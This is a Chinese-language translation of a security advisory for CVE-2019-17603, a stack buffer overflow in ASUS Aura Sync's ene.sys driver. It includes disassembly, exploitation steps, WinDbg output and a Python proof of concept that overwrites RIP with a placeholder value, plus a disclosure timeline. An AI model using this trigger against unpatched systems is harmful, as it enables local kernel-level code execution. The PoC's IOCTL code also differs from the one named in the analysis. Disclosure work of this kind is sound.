导语:ASUS Aura Sync版本1.07.71随附的内核驱动程序`ene.sys`在处理IOCTL请求的代码中包含一个漏洞,利用此漏洞可能导致在内核级别本地执行任意代码。
0x01:基本信息
Advisory: ASUS Aura Sync 1.07.71 ene.sys Stack-Based Buffer Overflow Advisory ID: DH-ADV-2019-001 CVE ID: CVE-2019-17603 Revision: 1.1 Last Modified: 2019/10/14 Date Reported: 2019/09/08 Advisory Published: 2020/06/01 Affected Software: Asus Aura Sync Remotely Exploitable: No Locally Exploitable: Yes Vendor URL: https://www.asus.com/
0x02:漏洞描述
ASUS Aura Sync版本1.07.71随附的内核驱动程序ene.sys在处理IOCTL请求的代码中包含一个漏洞,利用此漏洞可能导致:
· 本地拒绝服务攻击(由于内核崩溃而导致系统崩溃)
· 在内核级别本地执行任意代码(完整的系统权限控制)
可以通过发送特制的IOCTL请求来触发此问题,对于成功的攻击,不需要特殊的用户权限即可利用此漏洞。
0x03:漏洞分析
该IOCTL调用0x80102044,0x80102050和0x80102054在 ene.sys的内核驱动程序接受用户的输入,它不会得到验证。然后,可以用任意值填充不同的内核寄存器,可以利用它来控制内核执行流程并在内核级别执行任意代码。
逆向ene.sys(Windows 10 64位版本)IOCTL调用 0x80102050:
[...] .text:00000000000111AA cmp r11d, 80102050h [...] .text:000000000001132B lea rcx, [rsp+68h+Dst] ; Dst .text:0000000000011330 mov r8, rbx ; Size <- [1] .text:0000000000011333 mov rdx, rbp ; Src <- [2] .text:0000000000011336 call memmove ; CALL <- [3] .text:000000000001133B movzx r11d, byte ptr [rsp+68h+Dst+6] .text:0000000000011341 sub r11d, 1 .text:0000000000011345 jz short loc_1136D [...]
[1]如定义的约定__fastcall所述,将用户控制的缓冲区大小复制到R8寄存器中,并将缓冲区[2]的内容复制到RDX中,而无需任何输入验证。
[3]中的memmove函数使用以下参数调用:
memmove(RCX, RDX, R8); | | | dst | | src len
· RCX (dst):通过控制流定义
· RDX(src):指向用户控制的IOCTL输入数据/缓冲区
· R8 (len):取决于发送缓冲区
利用思路
如果攻击者能够发送大缓冲区(IOCTL 为48个字节0x80102050),则memmove()调用将导致可利用的内存损坏情况。
漏洞利用
步骤1:使用所支持的IOCTL之一ene.sys将可控制的缓冲区移至内核空间地址,并覆盖适当的寄存器并返回地址[4]。
步骤2:向易受攻击的IOCTL发送请求,存储在偏移量末尾的0x30地址将覆盖返回地址,并导致可利用的内存损坏情况(RIP被可控值覆盖)
可利用代码路径的示例:
.text:0000000000011487 mov ebx, [rdi+30h] [...] .text:00000000000114A1 lea r11, [rsp+68h+var_8] .text:00000000000114A6 mov eax, ebx .text:00000000000114A8 mov rbx, [r11+10h] .text:00000000000114AC mov rbp, [r11+20h] .text:00000000000114B0 mov rsi, [r11+28h] .text:00000000000114B4 mov rsp, r11 .text:00000000000114B7 pop rdi .text:00000000000114B8 retn ; Trigger <- [4] [...]
在WinDBG中(执行漏洞利用之后):
ene+0x14b8: fffff801`198d14b8 c3 ret t 00000000`deadbeef ?? ??? r rax=00000000c000000d rbx=ffffa981e29b1e90 rcx=151b9b80a8c50000 rdx=0000000000000001 rsi=0000000000000001 rdi=4141414141414141 rip=00000000deadbeef rsp=fffffd030b8bf7a0 rbp=0000000000000002 r8=0000000000000008 r9=0000000000000065 r10=ffffa981df102e60 r11=fffffd030b8bf790 r12=0000000000000000 r13=0000000000000000 r14=ffffa981e5e80d60 r15=ffffa981e2f84920 iopl=0 nv up ei ng nz na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286 00000000`deadbeef ?? ???
[4]用户提供的缓冲区[2]用作memmove 参数,将覆盖相应的寄存器和堆栈地址。结果,堆栈顶部的最后一个地址保存了用户提供的缓冲区的地址[5]。
在此示例中,堆栈中用大写字母“ A”和0xdeadbeef (RIP)填充。拥有RIP寄存器控制权的攻击者可能会破坏整个系统,并在内核级别执行任意代码。
漏洞验证
先决条件- 调试器和Debuggee
· 步骤1:安装ASUS Aura sync版本V1.07.71(Debuggee);
· 步骤2:执行漏洞验证(PoC)(Debuggee);
· 步骤3:将断点设置为:ene+0x14b8(Debugger)
!process 0 0 python.exe <- PROCCESSID of the running process ba e1 /p ${PROCCESSID} ene+0x14b8 g
· 步骤4:按Enter键(Debuggee);调试器在ene+0x14b8按“ t”时停止以执行下一条指令
· 步骤5:RIP被覆盖0xdeadbeef
0x04:漏洞验证(PoC)
#!/usr/bin/python from ctypes import * import struct import sys kernel32 = windll.kernel32 ntdll = windll.ntdll NULL = 0x00 def run(): handle = kernel32.CreateFileA("\\\\.\\EneIo", 0xC0000000, 0, None, 0x3, 0, None) if not handle or handle == -1: sys.exit("[-] Error getting device handle") shellcode = struct.pack("<Q", 0xdeadbeef) # RIP == 0xdeadbeef buf = "A" * 56 + shellcode raw_input("Press Enter to Trigger Vuln") driver = kernel32.DeviceIoControl(handle, 0x80102040, buf, len(buf), NULL, NULL, 0, NULL) if not driver or driver == -1: sys.exit("[-] Error") if __name__ == "__main__": run()
0x05:受影响的产品
此漏洞影响以下产品:
· 华硕Aura Sync <= 1.07.71
该漏洞很可能还会影响使用“ ASUS Aura Sync” 内核驱动程序ene.sys的产品的先前版本和后续版本。
0x06:时间线
· 2019/09/08:首次通过电子邮件([email protected])联络协商;
· 2019/09/12:华硕安全团队回应并要求更多信息;
· 2019/09/12:漏洞最初报告给ASUS Security团队;
· 2019/09/18:华硕安全团队确认该漏洞;
· 2019/10/13:通过MITRE 请求CVE ID; CVE-2019-17603
· 2019/10/15:发送了在Windows 10 x64上运行的更新的PoC ;
· 2020/01/10:收到确认已发布补丁程序的确认(v1.07.79);
0x07:参考资源
· [1]ASUS Aura Sync - https://www.asus.com/campaign/aura/us/download.html
· [2]Microsoft - x64 calling convention - https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019
本文翻译自:https://zer0-day.pw/2020-06/asus-aura-sync-stack-based-buffer-overflow/如若转载,请注明原文地址: